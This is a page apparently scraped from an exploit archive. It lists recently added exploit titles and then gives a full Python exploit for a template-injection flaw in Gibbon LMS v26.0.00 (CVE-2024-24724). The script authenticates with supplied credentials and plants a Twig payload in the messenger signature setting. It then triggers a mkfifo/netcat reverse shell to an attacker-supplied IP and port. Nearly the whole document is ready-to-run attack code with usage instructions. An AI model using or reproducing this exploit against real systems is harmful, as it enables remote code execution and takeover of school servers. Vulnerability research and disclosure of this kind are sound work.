a44e138f78
28 changes to exploits/shellcodes/ghdb Casdoor < v1.331.0 - '/api/set-password' CSRF GL-iNet MT6000 4.5.5 - Arbitrary File Download Axigen < 10.5.7 - Persistent Cross-Site Scripting Blood Bank v1.0 - Stored Cross Site Scripting (XSS) CE Phoenix v1.0.8.20 - Remote Code Execution Daily Habit Tracker 1.0 - Broken Access Control Daily Habit Tracker 1.0 - SQL Injection Daily Habit Tracker 1.0 - Stored Cross-Site Scripting (XSS) E-INSUARANCE v1.0 - Stored Cross Site Scripting (XSS) Elementor Website Builder < 3.12.2 - Admin+ SQLi Employee Management System 1.0 - _txtfullname_ and _txtphone_ SQL Injection Employee Management System 1.0 - _txtusername_ and _txtpassword_ SQL Injection (Admin Login) FoF Pretty Mail 1.1.2 - Local File Inclusion (LFI) FoF Pretty Mail 1.1.2 - Server Side Template Injection (SSTI) Gibbon LMS v26.0.00 - SSTI vulnerability Hospital Management System v1.0 - Stored Cross Site Scripting (XSS) LeptonCMS 7.0.0 - Remote Code Execution (RCE) (Authenticated) Online Hotel Booking In PHP 1.0 - Blind SQL Injection (Unauthenticated) OpenCart Core 4.0.2.3 - 'search' SQLi Petrol Pump Management Software v1.0 - Remote Code Execution (RCE) Simple Backup Plugin Python Exploit 2.7.10 - Path Traversal Smart School 6.4.1 - SQL Injection Wordpress Plugin - Membership For WooCommerce < v2.1.7 - Arbitrary File Upload to Shell (Unauthenticated) ASUS Control Center Express 01.06.15 - Unquoted Service Path Microsoft Windows 10.0.17763.5458 - Kernel Privilege Escalation Microsoft Windows Defender - Detection Mitigation Bypass TrojanWin32Powessere.G Rapid7 nexpose - 'nexposeconsole' Unquoted Service Path
81 lines
No EOL
3.8 KiB
Text
81 lines
No EOL
3.8 KiB
Text
# Exploit Title: Gibbon LMS v26.0.00 - SSTI vulnerability
|
|
# Date: 21.01.2024
|
|
# Exploit Author: SecondX.io Research Team(Islam Rzayev,Fikrat Guliev, Ali Maharramli)
|
|
# Vendor Homepage: https://gibbonedu.org/
|
|
# Software Link: https://github.com/GibbonEdu/core
|
|
# Version: v26.0.00
|
|
# Tested on: Ubuntu 22.0
|
|
# CVE : CVE-2024-24724
|
|
|
|
import requests
|
|
import re
|
|
import sys
|
|
|
|
|
|
def login(target_host, target_port,email,password):
|
|
url = f'http://{target_host}:{target_port}/login.php?timeout=true'
|
|
headers = {"Content-Type": "multipart/form-data;
|
|
boundary=---------------------------174475955731268836341556039466"}
|
|
data =
|
|
f"-----------------------------174475955731268836341556039466\r\nContent-Disposition:
|
|
form-data;
|
|
name=\"address\"\r\n\r\n\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition:
|
|
form-data;
|
|
name=\"method\"\r\n\r\ndefault\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition:
|
|
form-data;
|
|
name=\"username\"\r\n\r\n{email}\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition:
|
|
form-data;
|
|
name=\"password\"\r\n\r\n{password}\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition:
|
|
form-data;
|
|
name=\"gibbonSchoolYearID\"\r\n\r\n025\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition:
|
|
form-data;
|
|
name=\"gibboni18nID\"\r\n\r\n0002\r\n-----------------------------174475955731268836341556039466--\r\n"
|
|
r = requests.post(url, headers=headers, data=data,
|
|
allow_redirects=False)
|
|
Session_Cookie = re.split(r"\s+", r.headers['Set-Cookie'])
|
|
if Session_Cookie[4] is not None and '/index.php' in
|
|
str(r.headers['Location']):
|
|
print("login successful!")
|
|
|
|
return Session_Cookie[4]
|
|
|
|
|
|
|
|
def rce(cookie, target_host, target_port, attacker_ip, attacker_port):
|
|
url =
|
|
f'http://{target_host}:{target_port}/modules/School%20Admin/messengerSettingsProcess.php'
|
|
headers = {"Content-Type": "multipart/form-data;
|
|
boundary=---------------------------67142646631840027692410521651",
|
|
"Cookie": cookie}
|
|
data =
|
|
f"-----------------------------67142646631840027692410521651\r\nContent-Disposition:
|
|
form-data; name=\"address\"\r\n\r\n/modules/School
|
|
Admin/messengerSettings.php\r\n-----------------------------67142646631840027692410521651\r\nContent-Disposition:
|
|
form-data;
|
|
name=\"enableHomeScreenWidget\"\r\n\r\nY\r\n-----------------------------67142646631840027692410521651\r\nContent-Disposition:
|
|
form-data; name=\"signatureTemplate\"\r\n\r\n{{{{[\'rm /tmp/f;mkfifo
|
|
/tmp/f;cat /tmp/f|sh -i 2>&1|nc {attacker_ip} {attacker_port}
|
|
>/tmp/f']|filter('system')}}}}\r\n-----------------------------67142646631840027692410521651\r\nContent-Disposition: form-data; name=\"messageBcc\"\r\n\r\n\r\n-----------------------------67142646631840027692410521651\r\nContent-Disposition: form-data; name=\"pinnedMessagesOnHome\"\r\n\r\nN\r\n-----------------------------67142646631840027692410521651--\r\n"
|
|
r = requests.post(url, headers=headers, data=data,
|
|
allow_redirects=False)
|
|
if 'success0' in str(r.headers['Location']):
|
|
print("Payload uploaded successfully!")
|
|
|
|
|
|
|
|
def trigger(cookie, target_host, target_port):
|
|
url =
|
|
f'http://{target_host}:{target_port}/index.php?q=/modules/School%20Admin/messengerSettings.php&return=success0'
|
|
headers = {"Cookie": cookie}
|
|
print("RCE successful!")
|
|
r = requests.get(url, headers=headers, allow_redirects=False)
|
|
|
|
|
|
if __name__ == '__main__':
|
|
if len(sys.argv) != 7:
|
|
print("Usage: script.py <target_host> <target_port>
|
|
<attacker_ip> <attacker_port> <email> <password>")
|
|
sys.exit(1)
|
|
cookie = login(sys.argv[1], sys.argv[2],sys.argv[5],sys.argv[6])
|
|
rce(cookie, sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])
|
|
trigger(cookie, sys.argv[1], sys.argv[2]) |